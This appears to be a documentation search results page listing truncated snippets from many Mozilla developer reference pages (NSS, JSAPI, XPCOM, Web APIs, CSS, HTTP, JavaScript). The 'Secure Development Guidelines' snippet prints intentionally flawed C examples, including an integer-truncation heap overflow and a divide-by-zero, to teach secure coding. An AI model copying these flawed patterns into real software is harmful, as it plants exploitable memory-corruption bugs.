... cert_decodecrlissuingdistributionpoint cert_findcrlissuingdistpointexten the old documentation of the expression matching syntax rules was incorrect, and the new corrected documentation is as follows for public nssutil functions (see portreq.h): port_regexpvalid port_regexpsearch port_regexpcasesearch these functions will match a string with a shell expression.
... new functions in the nss shared library: pk11_isinternalkeyslot (see pk11pub.h) secmod_opennewslot (see pk11pub.h) new error codes (see secerr.h): sec_error_bad_info_access_method sec_error_crl_import_failed new oids (see secoidt.h) sec_oid_x509_any_policy the nssckbi pkcs #11 module's version changed to 1.75.
...And 4 more matches
NSS 3.14 release notes
introduction the nss team has released network security services (nss) 3.14, which is a minor release with the following new features: support for tls 1.1 (rfc 4346) experimental support for dtls 1.0 (rfc 4347) and dtls-srtp (rfc 5764) support for aes-ctr, aes-cts, and aes-gcm support for keying material exporters for tls (rfc 5705) in addition to the above new features, the following major changes have been introduced: support for certificate signatures using the md5 hash algorithm is now disabled by default.
...new in nss 3.14 the sections that follow discuss specific changes in nss 3.14 in more detail.
... to better support tls 1.1 and future versions of tls, a new version range api was introduced to allow applications to specify the desired minimum and maximum versions.
...And 4 more matches
NSS 3.31 release notes
nss 3.31 requires netscape portable runtime (nspr) 4.15 or newer.
... nss 3.31 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_rtm/src/ new in nss 3.31 new functionality allow certificates to be specified by rfc7512 pkcs#11 uris.
... new functions in cert.h cert_getcertisperm - retrieve the permanent storage status attribute of a certificate in a thread safe way.
...And 4 more matches
Enc Dec MAC Output Public Key as CSR
"-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" typedef enum { gen_csr, encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6 } headertype; /* this is conditionalized because port_errortostring was introduced with nss 3.13.
...vkey; } /* * extract the public key request from csr */ seckeypublickey * extractpublickeyfromcertrequest(const char *infilename, prbool ascii) { certsigneddata signeddata; secitem reqder; certcertificaterequest *certreq = null; secstatus rv = secsuccess; prarenapool *arena = null; seckeypublickey *publickey = null; arena = port_newarena(der_default_chunksize); if (arena == null) { rv = secfailure; goto cleanup; } rv = readderfromfile(&reqder, infilename, ascii); if (rv) { rv = secfailure; goto cleanup; } certreq = (certcertificaterequest*) port_arenazalloc (arena, sizeof(certcertificaterequest)); if (!certreq) { rv = secfailure; goto...
... if (!spki) { pr_fprintf(pr_stderr, "unable to create subject public key\n"); rv = secfailure; goto cleanup; } /* generate certificate request */ cr = cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_startcertificaterequestattributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertificaterequest...
...And 4 more matches
NSS Tools crlutil
using the certificate revocation list management tool newsgroup: mozilla.dev.tech.crypto the certificate revocation list (crl) management tool is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...certificate revocation list management tool command options and their arguments are defined as follows: options -g create new certificate revocation list(crl).
... -o output-file specify the output file name for new crl.
...And 4 more matches
JSClass.flags
jsclass_new_enumerate obsolete since jsapi 37 this class's enumerate hook is actually a jsnewenumerateop, not a jsenumerateop.
... jsclass_new_resolve obsolete since jsapi 36 this class's resolve hook is actually a jsnewresolveop, not a jsresolveop.
... jsclass_new_resolve_gets_start obsolete since jsapi 16 the resolve hook expects to receive the starting object in the prototype chain passed in via the *objp in/out parameter.
...And 4 more matches
JS_CloneFunctionObject
create a new function object from an existing jsfunction.
... parent jsobject * the new function's parent.
... description js_clonefunctionobject creates a new function object from funobj.
...And 4 more matches
JS_DefineProperty
create a new property on an object.
... obj js::handleobject the object on which to create the new property.
... name or id const char * or const char16_t *or js::handleid the name of the new property.
...And 4 more matches
JS_SetProperty
if the lookup found no property with the given name, or if it found that obj inherits such a property from a non-native object, then a new own property is added to obj, as described below.
... the new property is jsprop_enumerate.
... creation of new properties one of the cases above involves creating a new own property on obj.
...And 4 more matches
Secure Development Guidelines
newchars = (jschar *) js_malloc(cx, (newlength + 1) * sizeof(jschar)); ...
... for (i = 0, ni = 0; i < length; i++) { if ((ch = chars[i]) < 128 && is_ok(ch, mask)) { newchars[ni++] = ch; ...
...don’t mix signed and unsigned integers use unsigned integers for sizes, offsets, and indexes casting and truncation example: void vuln_funct() { u_int32_t size1 = 0xffffffff; u_int16_t size2 = size1; void *ptr = malloc(size2); if (!ptr) exit(exit_failure); memcpy(ptr, user_data, size1); } casting issues: sign extension example: int main() { int32_t new_size = 0; int8_t size = 0xff; new_size = size; printf("0x%08x\r\n", new_size); } casting issues: sign extension prevention be careful with signed integers use unsigned integers for sizes, offsets, and indexes denial of service: divide by zero example: int main() { int a, b; if (argc != 3) return 1; a = atoi(argv[1]); b = atoi(argv[2]); ...
...And 4 more matches
A Web PKI x509 certificate primer
generate csr using this command: openssl req -new -key key.pem -days 1096 -extensions v3_ca -batch -out example.csr -utf8 -subj '/cn=www.example.com' this creates a new certificate signing request (csr) that will be valid for 3 years.
...write extensions file by creating a new file with name openssl.ss.cnf with the following contents: basicconstraints = ca:false subjectaltname =dns:www.example.com extendedkeyusage =serverauth 4.
... generate csr "openssl req -new -key rootkey.pem -days 5480 -extensions v3_ca -batch -out root.csr -utf8 -subj '/c=us/o=orgname/ou=someinternalname' make a new certificate signing request (csr) that will be valid for 15 years.
...And 4 more matches
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
primitive input streams type native class contract id interface how to bind to a data source generic nsstorageinputstream n/a nsiinputstream, nsiseekablestream storagestream.newinputstream(); string (8-bit characters) nsstringstream @mozilla.org/io/string-input-stream;1 nsistringinputstream stream.setdata(data, length); file nsfileinputstream @mozilla.org/network/file-input-stream;1 nsifileinputstream stream.init(file, ioflags, perm, behaviorflags); zip nsjarinputstream n/a nsiinputstream zipreader.g...
... you can get an nsichannel object from the io service's newchannel(spec, charset, baseuri) method or its .newchannelfromuri(uri) method.
...if everything goes well, calling the stream's .finish() method overwrites the original file with the new file.
...And 4 more matches
Components.utils.createObjectIn
components.utils.createobjectin creates a new javascript object in the scope of the specified object's compartment.
... note that this function is now mostly obsolete when you are using sandbox, because you can create an object in a different compartment using new.
... for example, to create a new object in the compartment identified by contentwindow: var newobject = new contentwindow.object(); but it is really needeed from firefox 30 onwards when trying to manipulate the dom window.
...And 4 more matches
Observer Notifications
xpcom-shutdown-threads shuts down the thread manager, causing all nsthreads to finish processing any events already queued and stop accepting new events.
... the window id can be obtained from subject.queryinterface(components.interfaces.nsisupportspruint64).data toplevel-window-ready nsiwindowwatcher called just after a new top level window has been opened and is ready, but has not yet loaded a document.
... note: the data value for this notification 'offline' or 'online' to indicate the new state.
...And 4 more matches
IAccessibleText
ult attributes([in] long offset, [out] long startoffset, [out] long endoffset, [out] bstr textattributes ); [propget] hresult caretoffset([out] long offset ); [propget] hresult characterextents([in] long offset, [in] enum ia2coordinatetype coordtype, [out] long x, [out] long y, [out] long width, [out] long height ); [propget] hresult ncharacters([out] long ncharacters ); [propget] hresult newtext([out] ia2textsegment newtext ); [propget] hresult nselections([out] long nselections ); [propget] hresult offsetatpoint([in] long x, [in] long y, [in] enum ia2coordinatetype coordtype, [out] long offset ); [propget] hresult oldtext([out] ia2textsegment oldtext ); hresult removeselection([in] long selectionindex ); hresult scrollsubstringto([in] long startindex, [in] long endindex, [...
...endoffset offset of first character after new selection() (0 based).
...newtext() returns any inserted text().
...And 4 more matches
nsIHttpChannel
inherits from: nsichannel last changed in gecko 1.3 to create an http channel, use nsiioservice with a http uri, for example: var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var ch = ios.newchannel("https://www.example.com/", null, null); method overview void getoriginalresponseheader(in acstring aheader, in nsihttpheadervisitor avisitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); boolean isnocacheresponse(); boolean isnostoreresponse(); void redirectto(in nsiuri anewuri); ...
... note: an http redirect results in a new channel being created.
... if the new channel supports nsihttpchannel, then it will be assigned a value to its redirectionlimit attribute one less than the value of the redirected channel's redirectionlimit attribute.
...And 4 more matches
nsIMsgAccountManagerExtension
the nsimsgaccountmanagerextension interface is used to add a new panel to thunderbird's account manager.
...the interface is basically a manifest and defines the properties of the new panel.
...you have to register any new account manager extensions via the the category manager at start up.
...And 4 more matches
nsITraceableChannel
method overview nsistreamlistener setnewlistener(in nsistreamlistener alistener); methods setnewlistener() replaces the channel's current listener with a new one, returning the listener previously assigned to the channel.
... nsistreamlistener setnewlistener( in nsistreamlistener alistener ); parameters alistener an nsistreamlistener to be notified of events on the http channel.
... implementing nsistreamlistener the nsistreamlistener passed to setnewlistener() should implement the following methods, which are called to notify it of events that occur on the http stream: onstartrequest: an http request is beginning.
...And 4 more matches
Address Book examples
tation for property names supported by the application): let card = components.classes["@mozilla.org/addressbook/cardproperty;1"] .createinstance(components.interfaces.nsiabcard); card.setproperty("firstname", "john"); card.setproperty("lastname", "smith"); card.primaryemail = "john@invalid.com"; now add the card to an address book via its nsiabdirectory interface: let newcard = addressbook.addcard(card); the addcard function returns a new nsiabcard object that may have had nsiabdirectory specific data added to it, e.g.
...once you have the nsiabcard object you can modify the names and description of it like this: maillistcard.displayname = "new list name"; maillistcard.lastname = maillistcard.displayname; maillistcard.setproperty("nickname", "new nickname for list"); maillistcard.setproperty("notes", "new list description"); then you need to get the equivalent mailing list object that implements nsiabdirectory: let abmanager = components.classes["@mozilla.org/abmanager;1"] .getservice(components.interfaces.n...
...siabmanager); let maillistdirectory = abmanager.getdirectory(maillistcard.maillisturi); you can then adjust the items in the actual mailing list: maillistdirectory.addresslists.appendelement(newcard, false); then save the updated list to the database: maillistdirectory.editmaillisttodatabase(maillistcard); deleting a mailing list there are two ways to delete a mailing list.
...And 4 more matches
Debugger.Object - Firefox Developer Tools
while most debugger.object instances are created by spidermonkey in the process of exposing debuggee’s behavior and state to the debugger, the debugger can use debugger.object.prototype.makedebuggeevalue to create debugger.object instances for given debuggee objects, or use debugger.object.prototype.copy and debugger.object.prototype.create to create new objects in debuggee compartments, allocated as if by particular debuggee globals.
... accessor properties of the debugger.object prototype a debugger.object instance inherits the following accessor properties from its prototype: proto the referent’s prototype (as a new debugger.object instance), or null if it has no prototype.
...(this function behaves like the standard object.isfrozen function, except that the object inspected is implicit and in a different compartment from the caller.) isextensible() return true if the referent is extensible—that is, if it can have new properties defined on it.
...And 4 more matches
Blob() - Web APIs
WebAPIBlobBlob
the blob() constructor returns a new blob object.
... syntax var newblob = new blob(array, options); parameters array an array of arraybuffer, arraybufferview, blob, usvstring objects, or a mix of any of such objects, that will be put inside the blob.
... endings optional how to interpret newline characters (\n) within the contents, if the data is text.
...And 4 more matches
CSSStyleSheet.insertRule() - Web APIs
the cssstylesheet.insertrule() method inserts a new css rule into the current style sheet, with some restrictions.
... index optional a positive integer less than or equal to stylesheet.cssrules.length, representing the newly inserted rule's position in cssstylesheet.cssrules.
...see browser compatibility for details.) return value the newly inserted rule's index within the stylesheet's rule-list.
...And 4 more matches
CanvasRenderingContext2D.createImageData() - Web APIs
the canvasrenderingcontext2d.createimagedata() method of the canvas 2d api creates a new, blank imagedata object with the specified dimensions.
... all of the pixels in the new object are transparent black.
... syntax imagedata ctx.createimagedata(width, height); imagedata ctx.createimagedata(imagedata); parameters width the width to give the new imagedata object.
...And 4 more matches
Pixel manipulation with canvas - Web APIs
h * 4) + x * 4; return [red, red + 1, red + 2, red + 3]; }; const colorindices = getcolorindicesforcoord(xcoord, ycoord, canvaswidth); const [redindex, greenindex, blueindex, alphaindex] = colorindices; you may also access the size of the pixel array in bytes by reading the uint8clampedarray.length attribute: var numbytes = imagedata.data.length; creating an imagedata object to create a new, blank imagedata object, you should use the createimagedata() method.
... there are two versions of the createimagedata() method: var myimagedata = ctx.createimagedata(width, height); this creates a new imagedata object with the specified dimensions.
... you can also create a new imagedata object with the same dimensions as the object specified by anotherimagedata.
...And 4 more matches
DOMMatrixReadOnly.scale() - Web APIs
the scale() method of the dommatrixreadonly interface creates a new matrix being the result of the original matrix with a scale transform applied.
... return value returns a dommatrix containing a new matrix being the result of the matrix x and y dimensions being scaled by the given factor, centered on the origin given.
... red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedorigin" width="25" height="25" fill="green" /> </svg> this javascript first creates an identity matrix, then uses the scale() method to create a new matrix with a single parameter.
...And 4 more matches
DOMPointReadOnly.fromPoint() - Web APIs
the static dompointreadonly method frompoint() creates and returns a new dompointreadonly object given a source point.
... you can also create a new dompointreadonly object using the new dompointreadonly() constructor.
... syntax const point = dompointreadonly.frompoint(sourcepoint) properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the new point's properties.
...And 4 more matches
FileSystemEntry.copyTo() - Web APIs
the filesystementry interface's method copyto() copies the file specified by the entry to a new location on the file system.
... an entry can't be copied into its parent directory unless you specify a new name.
... syntax filesystementry.copyto(newparent[, newname][, successcallback][, errorcallback]); parameters newparent a filesystemdirectoryentry object specifying the destination directory for the copy operation.
...And 4 more matches
Using FormData Objects - Web APIs
creating a formdata object from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
... var blob = new blob([content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request = new xmlhttprequest(); request.open("post", "http://foo.com/submitform.php"); request.send(formdata); note: the fields "userfile" and "webmasterfile" both contain a file.
... var formdata = new formdata(someformelement); for example: var formelement = document.queryselector("form"); var request = new xmlhttprequest(); request.open("post", "submitform.php"); request.send(new formdata(formelement)); you can also append additional data to the formdata object between retrieving it from a form and sending it, like this: var formelement = document.queryselector("form"); var formdata = n...
...And 4 more matches
HTMLMediaElement.srcObject - Web APIs
examples basic example in this example, a mediastream from a camera is assigned to a newly-created <video> element.
... const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); video.srcobject = mediastream; in this example, a new mediasource is assigned to a newly-created <video> element.
... const mediasource = new mediasource(); const video = document.createelement('video'); video.srcobject = mediasource; supporting fallback to the src property the examples below support older browser versions that require you to create an object url and assign it to src if srcobject isn't supported.
...And 4 more matches
Headers - Web APIs
WebAPIHeaders
you can retrieve a headers object via the request.headers and response.headers properties, and create a new headers object using the headers.headers() constructor.
... constructor headers() creates a new headers object.
... methods headers.append() appends a new value onto an existing header inside a headers object, or adds the header if it does not already exist.
...And 4 more matches
Text.splitText() - Web APIs
WebAPITextsplitText
after the split, the current node contains all the content up to the specified offset point, and a newly created node of the same type contains the remaining text.
... the newly created node is returned to the caller.
... if the original node had a parent, the new node is inserted as the next sibling of the original node.
...And 4 more matches
Touch events - Web APIs
tracking new touches we'll keep track of the touches in-progress.
... var ongoingtouches = []; when a touchstart event occurs, indicating that a new touch on the surface has occurred, the handlestart() function below is called.
...0) { console.log("continuing touch "+idx); ctx.beginpath(); console.log("ctx.moveto(" + ongoingtouches[idx].pagex + ", " + ongoingtouches[idx].pagey + ");"); ctx.moveto(ongoingtouches[idx].pagex, ongoingtouches[idx].pagey); console.log("ctx.lineto(" + touches[i].pagex + ", " + touches[i].pagey + ");"); ctx.lineto(touches[i].pagex, touches[i].pagey); ctx.linewidth = 4; ctx.strokestyle = color; ctx.stroke(); ongoingtouches.splice(idx, 1, copytouch(touches[i])); // swap in the new touch record console.log("."); } else { console.log("can't figure out which touch to continue"); } } } this iterates over the changed touches as well, but it looks in our cached touch information array for the previous information abo...
...And 4 more matches
WebGL constants - Web APIs
line_width 0x0b21 passed to getparameter to get the current linewidth (set by the linewidth method).
... less 0x0201 passed to depthfunction or stencilfunction to specify depth or stencil tests will pass if the new depth value is less than the stored value.
... equal 0x0202 passed to depthfunction or stencilfunction to specify depth or stencil tests will pass if the new depth value is equals to the stored value.
...And 4 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
because webrtc doesn't mandate a specific transport mechanism for signaling during the negotiation of a new peer connection, it's highly flexible.
... const constraints = { audio: true, video: true }; const config = { iceservers: [{ urls: "stun:stun.mystunserver.tld" }] }; const selfvideo = document.queryselector("video.selfview"); const remotevideo = document.queryselector("video.remoteview"); const signaler = new signalingchannel(); const pc = new rtcpeerconnection(config); this code also gets the <video> elements using the classes "selfview" and "remoteview"; these will contain, respectively, the local user's self-view and the view of the incoming stream from the remote peer.
...if we're the polite peer, we will drop our offer and accept the new one.
...And 4 more matches
Example and tutorial: Simple synth keyboard - Web APIs
let audiocontext = new (window.audiocontext || window.webkitaudiocontext)(); let osclist = []; let mastergainnode = null; audiocontext is set to reference the global audiocontext object (or webkitaudiocontext if necessary).
...ntries(keys); let octaveelem = document.createelement("div"); octaveelem.classname = "octave"; keylist.foreach(function(key) { if (key[0].length == 1) { octaveelem.appendchild(createkey(key[0], idx, key[1])); } }); keyboard.appendchild(octaveelem); }); document.queryselector("div[data-note='b'][data-octave='5']").scrollintoview(false); sineterms = new float32array([0, 0, 1, 0, 1]); cosineterms = new float32array(sineterms.length); customwaveform = audiocontext.createperiodicwave(cosineterms, sineterms); for (i=0; i<9; i++) { osclist[i] = []; } } setup(); the table which maps note names and octaves to their frequenies is created by calling createnotetable().
...this will simply update the master gain node's volume to the new value of the control.
...And 4 more matches
Background audio processing using AudioWorklet - Web APIs
with the processor registered, you can create a new audioworkletnode which passes the audio through the processor's code when the node is linked into the chain of audio nodes along with any other audio nodes.
... the module installs the new audio worklet processor class by calling registerprocessor(), specifying a name for the audio processor and the class that defines the processor.
... to use an audio worklet processor, you can use code similar to the following: let audiocontext = null; async function createmyaudioprocessor() { if (!audiocontext) { try { audiocontext = new audiocontext(); await audiocontext.resume(); await audiocontext.audioworklet.addmodule("module-url/module.js"); } catch(e) { return null; } } return new audioworkletnode(audiocontext, "processor-name"); } this createmyaudioprocessor() function creates and returns a new instance of audioworkletnode configured to use your audio processor.
...And 4 more matches
Sending and Receiving Binary Data - Web APIs
var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "arraybuffer"; oreq.onload = function (oevent) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); ...
... var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ...
... function load_binary_resource(url) { var req = new xmlhttprequest(); req.open('get', url, false); //xhr binary charset opt by marcus granado 2006 [http://mgran.blogspot.com] req.overridemimetype('text\/plain; charset=x-user-defined'); req.send(null); if (req.status != 200) return ''; return req.responsetext; } the magic happens in line 5, which overrides the mime type, forcing the browser to treat it as plain text, using a user-defined character set.
...And 4 more matches
XRWebGLLayer() - Web APIs
the webxr device api xrwebgllayer() constructor creates and returns a new xrwebgllayer object, providing the linkage between the webxr device and the webgl graphics layer used to render the 3d scene.
... syntax let gllayer = new xrwebgllayer(session, context, layerinit); parameters session an xrsession object specifying the webxr session which will be rendered using the webgl context.
... layerinit optional an object conforming to the xrwebgllayerinit dictionary, providing configuration options for the new xrwebgllayer.
...And 4 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
i have also set the flex-wrap property to wrap, so that if the space in the container becomes too narrow to maintain the flex basis, items will wrap onto a new row.
...: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { width: 500px; display: flex; flex-wrap: wrap; } .wrapper > div { flex: 1 1 150px; } in the image, you can see that two items have wrapped onto a new line.
...this is because when you wrap flex items, each new row (or column when working by column) becomes a new flex container.
...And 4 more matches
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
in firefox 68 the new version of the specification will be shipped and these old properties removed.
... if you have only used the old firefox implementation of the specification, with the properties that are detailed in scroll snap points, you should update your code to use the new specification.
...we also added the scroll-snap-type property twice, once with the y axis value needed for browsers that support the new spec, and once for firefox pre-68, which supports the property but without the y value.
...And 4 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
but the cors standard means servers have to handle new request and response headers.
... functional overview the cross-origin resource sharing standard works by adding new http headers that let servers describe which origins are permitted to read that information from a web browser.
...therefore, sites that prevent cross-site request forgery have nothing new to fear from http access control.
...And 4 more matches
Redirections in HTTP - HTTP
when browsers receive a redirect, they immediately load the new url provided in the location header.
...they imply that the original url should no longer be used, and replaced with the new one.search engine robots, rss readers, and other crawlers will update the original url for the resource.
... search engine robots and other crawlers don't memorize the new, temporary url.
...And 4 more matches
Expressions and operators - JavaScript
note that for the second case, in modern code you can use the new nullish coalescing operator (??) that works like ||, but it only returns the second expression, when the first one is "nullish", i.e.
... suppose you define the following variables: var myfun = new function('5 + 2'); var shape = 'round'; var size = 1; var foo = ['apple', 'mango', 'orange']; var today = new date(); the typeof operator returns the following results for these variables: typeof myfun; // returns "function" typeof shape; // returns "string" typeof size; // returns "number" typeof foo; // returns "object" typeof today; // returns "object" typeo...
...ay', 'cedar', 'oak', 'maple']; 0 in trees; // returns true 3 in trees; // returns true 6 in trees; // returns false 'bay' in trees; // returns false (you must specify the index number, // not the value at that index) 'length' in trees; // returns true (length is an array property) // built-in objects 'pi' in math; // returns true var mystring = new string('coral'); 'length' in mystring; // returns true // custom objects var mycar = { make: 'honda', model: 'accord', year: 1998 }; 'make' in mycar; // returns true 'model' in mycar; // returns true instanceof the instanceof operator returns true if the specified object is of the specified object type.
...And 4 more matches
Grammar and types - JavaScript
(spaces, tabs, and newline characters are considered whitespace.) comments the syntax of comments is the same as in c++ and in many other languages: // a one line comment /* this is a longer, * multi-line comment */ /* you can't, however, /* nest comments */ syntaxerror */ comments behave like whitespace, and are discarded during script execution.
...for example: "howdy" symbol (new in ecmascript 2015).
...all other commas in the list indicate a new element.
...And 4 more matches
Regular expressions - JavaScript
or calling the constructor function of the regexp object, as follows: let re = new regexp('ab+c'); using the constructor function provides runtime compilation of the regular expression.
.../a\*b/ and new regexp("a\\*b") create the same expression, which searches for "a" followed by a literal "*" followed by "b".
... (see different behaviors for further info about the different behaviors.) if you want to construct the regular expression from a string, yet another alternative is this script: var myre = new regexp('d(b+)d', 'g'); var myarray = myre.exec('cdbbdbsbz'); with these scripts, the match succeeds and returns the array and updates the properties shown in the following table.
...And 4 more matches
Public class fields - JavaScript
class classwithinstancefield { instancefield = 'instance field' } const instance = new classwithinstancefield() console.log(instance.instancefield) // expected output: "instance field" fields without initializers are initialized to undefined.
... class classwithinstancefield { instancefield } const instance = new classwithinstancefield() console.assert(instance.hasownproperty('instancefield')) console.log(instance.instancefield) // expected output: "undefined" like properties, field names may be computed.
... const prefix = 'prefix' class classwithcomputedfieldname { [`${prefix}field`] = 'prefixed field' } const instance = new classwithcomputedfieldname() console.log(instance.prefixfield) // expected output: "prefixed field" when initializing fields this refers to the class instance under construction.
...And 4 more matches
Arrow function expressions - JavaScript
an arrow function expression is a syntactically compact alternative to a regular function expression, although without its own bindings to the this, arguments, super, or new.target keywords.
...elements.map(({ length }) => length); // [8, 6, 7, 9] no separate this before arrow functions, every new function defined its own this value based on how the function was called: a new object in the case of a constructor.
... this.age++; }, 1000); } var p = new person(); in ecmascript 3/5, the this issue was fixable by assigning the value in this to a variable that could be closed over.
...And 4 more matches
Array.prototype.filter() - JavaScript
the filter() method creates a new array with all elements that pass the test implemented by the provided function.
... syntax let newarray = arr.filter(callback(element[, index, [array]])[, thisarg]) parameters callback function is a predicate, to test each element of the array.
... return value a new array with the elements that pass the test.
...And 4 more matches
Int8Array() constructor - JavaScript
syntax new int8array(); // new in es2017 new int8array(length); new int8array(typedarray); new int8array(object); new int8array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
...And 4 more matches
Intl.NumberFormat() constructor - JavaScript
syntax new intl.numberformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
...lues include: "adlm", "ahom", "arab", "arabext", "bali", "beng", "bhks", "brah", "cakm", "cham", "deva", "diak", "fullwide", "gong", "gonm", "gujr", "guru", "hanidec", "hmng", "hmnp", "java", "kali", "khmr", "knda", "lana", "lanatham", "laoo", "latn", "lepc", "limb", "mathbold", "mathdbl", "mathmono", "mathsanb", "mathsans", "mlym", "modi", "mong", "mroo", "mtei", "mymr", "mymrshan", "mymrtlng", "newa", "nkoo", "olck", "orya", "osma", "rohg", "saur", "segment", "shrd", "sind", "sinh", "sora", "sund", "takr", "talu", "tamldec", "telu", "thai", "tibt", "tirh", "vaii", "wara", "wcho".
... let amount = 3500; console.log(new intl.numberformat().format(amount)); // → '3,500' if in us english locale decimal and percent formatting let amount = 3500; new intl.numberformat('en-us', {style: 'decimal'}).format(amount); // → '3,500' new intl.numberformat('en-us', {style: 'percent'}).format(amount); // → '350,000%' unit formatting if the style is 'unit', a unit property must be provided.
...And 4 more matches
Object.prototype.constructor - JavaScript
let o = {} o.constructor === object // true let o = new object o.constructor === object // true let a = [] a.constructor === array // true let a = new array a.constructor === array // true let n = new number(3) n.constructor === number // true examples displaying the constructor of an object the following example creates a constructor (tree) and an object of that type (thetree).
... function tree(name) { this.name = name } let thetree = new tree('redwood') console.log('thetree.constructor is ' + thetree.constructor) this example displays the following output: thetree.constructor is function tree(name) { this.name = name } changing the constructor of an object the following example shows how to modify the constructor value of generic objects.
... function type () {} let types = [ new array(), [], new boolean(), true, // remains unchanged new date(), new error(), new function(), function () {}, math, new number(), 1, // remains unchanged new object(), {}, new regexp(), /(?:)/, new string(), 'test' // remains unchanged ] for (let i = 0; i < types.length; i++) { types[i].constructor = type types[i] = [types[i].constructor, types[i] instanceof type, types[i].tostring()] } console.log(types.join('\n')) this example displays the following output (comments added for referenc...
...And 4 more matches
Promise.prototype.then() - JavaScript
examples using the then method var p1 = new promise((resolve, reject) => { resolve('success!'); // or // reject(new error("error!")); }); p1.then(value => { console.log(value); // success!
...receive "foo", concatenate "bar" to it, and resolve that to the next then .then(function(string) { return new promise(function(resolve, reject) { settimeout(function() { string += 'bar'; resolve(string); }, 1); }); }) // 2.
... var p2 = new promise(function(resolve, reject) { resolve(1); }); p2.then(function(value) { console.log(value); // 1 return value + 1; }).then(function(value) { console.log(value + ' - a synchronous value works'); // 2 - a synchronous value works }); p2.then(function(value) { console.log(value); // 1 }); a then call will return a rejected promise if the function throws an error or returns a rejec...
...And 4 more matches
TypedArray.prototype.map() - JavaScript
the map() method creates a new typed array with the results of calling a provided function on every element in this typed array.
... syntax typedarray.map(mapfn[, thisarg]) parameters mapfn a callback function that produces an element of the new typed array, taking three arguments: currentvalue the current element being processed in the typed array.
... return value a new typed array.
...And 4 more matches
TypedArray.prototype.subarray() - JavaScript
the subarray() method returns a new typedarray on the same arraybuffer store and with the same element types as for this typedarray object.
...the whole array will be included in the new view if this value is not specified.
...if not specified, all elements from the one specified by begin to the end of the array are included in the new view.
...And 4 more matches
WebAssembly.Memory() constructor - JavaScript
the webassembly.memory() constructor creates a new memory object whose buffer property is a resizable arraybuffer or sharedarraybuffer that holds the raw bytes of memory accessed by a webassembly instance.
... syntax new webassembly.memory(memorydescriptor); parameters memorydescriptor an object that can contain the following members: initial the initial size of the webassembly memory, in units of webassembly pages.
... examples creating a new memory instance there are two ways to get a webassembly.memory object.
...And 4 more matches
Strict mode - JavaScript
in normal javascript mistyping a variable in an assignment creates a new property on the global object and continues to "work" (although future failure is possible: likely, in modern javascript).
...any assignment that silently fails in normal code (assignment to a non-writable global or property, assignment to a getter-only property, assignment to a new property on a non-extensible object) will throw in strict mode: 'use strict'; // assignment to a non-writable global var undefined = 5; // throws a typeerror var infinity = 5; // throws a typeerror // assignment to a non-writable property var obj1 = {}; object.defineproperty(obj1, 'x', { value: 42, writable: false }); obj1.x = 9; // throws a typeerror // assignment to a getter-only property v...
...ar obj2 = { get x() { return 17; } }; obj2.x = 5; // throws a typeerror // assignment to a new property on a non-extensible object var fixed = {}; object.preventextensions(fixed); fixed.newprop = 'ohai'; // throws a typeerror third, strict mode makes attempts to delete undeletable properties throw (where before the attempt would simply have no effect): 'use strict'; delete object.prototype; // throws a typeerror fourth, strict mode prior to gecko 34 requires that all properties named in an object literal be unique.
...And 4 more matches
Web video codec guide - Web media technologies
in essence, the encoder finds the moving objects, then builds an internal frame of sorts that looks like the original but with all the objects translated to their new locations.
... in theory, this approximates the new frame's appearance.
... then, to finish the job, the remaining differences are found, then the set of object shifts and the set of pixel differences are stored in the data representing the new frame.
...And 4 more matches
Progressive web app structure - Progressive web apps (PWAs)
